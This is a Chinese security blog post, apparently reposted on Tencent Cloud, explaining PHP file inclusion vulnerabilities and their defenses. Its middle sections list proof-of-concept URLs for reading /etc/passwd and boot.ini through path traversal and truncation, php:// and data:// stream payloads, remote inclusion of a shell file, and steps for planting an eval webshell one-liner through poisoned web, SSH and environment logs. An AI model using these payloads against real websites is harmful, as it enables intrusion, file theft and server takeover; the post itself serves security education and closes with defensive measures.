专栏首页信安之路代码安全之文件包含

代码安全之文件包含

漏洞成因

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

PHP文件包含漏洞代码

以上代码保存为 http://www.test.com/index.php

本地文件包含

包含系统文件

windows

linux

普通权限:

root权限:

获取webshell

包含web日志文件

1 访问连接 http://www.test.com/<?php eval(POST_['test']) ?>

2 使用菜刀连接 http://www.test.com/index.php?func=/var/log/apache/access.log

这种方式有一个弊端,由于access的日志文件比较大,所以webshell可能会很慢甚至卡死

包含ssh登入日志

如果web服务器开启了ssh,且我可以使用putty连接其端口,我们可以尝试连接,使用<?php eval(POST_['test']) ?>作为用户名,然后在登录失败后,用户名会被记录在ssh的失败登入日志(/var/log/auth.log)中,我们可以包含这个日志文件获取webshell。

包含环境变量

我们在user-agent中插入一句话,然后访问web服务器,在/proc/self/environ中会包含我们的user-agent信息,然后我们可以包含该文件获取webshell。下面是该文件的内容:

包含用户上传文件

包含图片

用户上传图片功能是web服务网站最常用的功能,没什么好说的

包含压缩包

上传一个包含一句话的rar压缩包,这个功能在php版本大于5.30下可以利用

【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt

远程文件包含

利用方式

包含远程服务器文件

利用条件

需要allow_url_fopen=On并且 allow_url_include=On

POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt

利用PHP流

利用条件

需要allow_url_include=On

利用方式

【POC】 http://www.test.com/index.php?file=php://input

【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php

【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

对于有限制的文件包含

包含脚本

<?php include($_GET['file'] . ".htm"); ?>

突破方式

00截断

利用条件

需要 magic_quotes_gpc=off,PHP小于5.3.4有效

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd

超长文件名截断

利用条件

php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

点号截断

利用条件

php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………

防御措施

1 尽量不要用户控制文件包含的参数

2 开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。

3 关闭allow_url_include函数,防止远程文件包含。

4 包含文件白名单限制

不同语言有包含功能的函数

PHP

include()
include_once()
require()
require_once()
fopen()
readfile()

jsp

include   <%@ include file="body.jsp"%>
jsp:include   <jsp:include page="head.jsp"/>
采用JSTL  <c:import url="http://thief.one/1.jsp">

asp

<!--#include file="1.asp" -->

aspx

<!--#include file="top.aspx" -->

本文分享自微信公众号 - 信安之路(xazlsec),作者:myh0st

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-05-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • PHP 文件包含漏洞姿势总结

    文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注...

    信安之路
  • 代码审计之 UsualToolCMS

    写到一半全部删了,觉得自己还不够经验写这样的东西,以免自己的文章对各位大佬带来误导。

    信安之路
  • 审计某开源商城中的漏洞大礼包

    首先这个 CMS 并不怎么出名,拿来当审计样板却很合适。给我的感觉是适合初级水平升中级之间的过程,也算是对上一篇审计文章的后续文了。

    信安之路
  • ASP.NET Core WebApi构建API接口服务实战演练

    跟着阿笨一起玩NET
  • 重提URL Rewrite(3):在UR

    在进行了URL Rewrite之后,经常会遇到的问题就是页面中PostBack的目标地址并非客户端请求的地址,而是URL Rewrite之后的地址。以上一篇文章...

    py3study
  • 混搭.NET技术

    新闻 .NET技术+25台服务器怎样支撑世界第54大网站 再度燃起人们对.NET的技术热情。这篇新闻中透露了StackExchange 在技术方面的混搭,这也是...

    张善友
  • SLF4J和Logback日志框架详解

    SLF4J是一套简单的日志外观模式的Java API,帮助在项目部署时对接各种日志实现。

    DannyHoo
  • Docker系列教程20-安装Docker Compose

    用户1516716
  • 对话 Vitalik:Eth2.0 带来的不仅是可扩展性的提升

    近日,以太坊创始人Vitalik Buterin接受了媒体采访,聊了聊以太坊领域的最新进展,也聊了聊以太坊之外的事情。

    区块链大本营
  • 腾讯云对象存储 COS 高可用解决方案,都在这里了!

    上一篇内容我们说到了 COS 是什么“要对象存储做什么,我有女朋友就够了!”的文章。本文将着重介绍如何尽可能的提高腾讯云对象存储 COS 的可用性。

    云存储

扫码关注云+社区

领取腾讯云代金券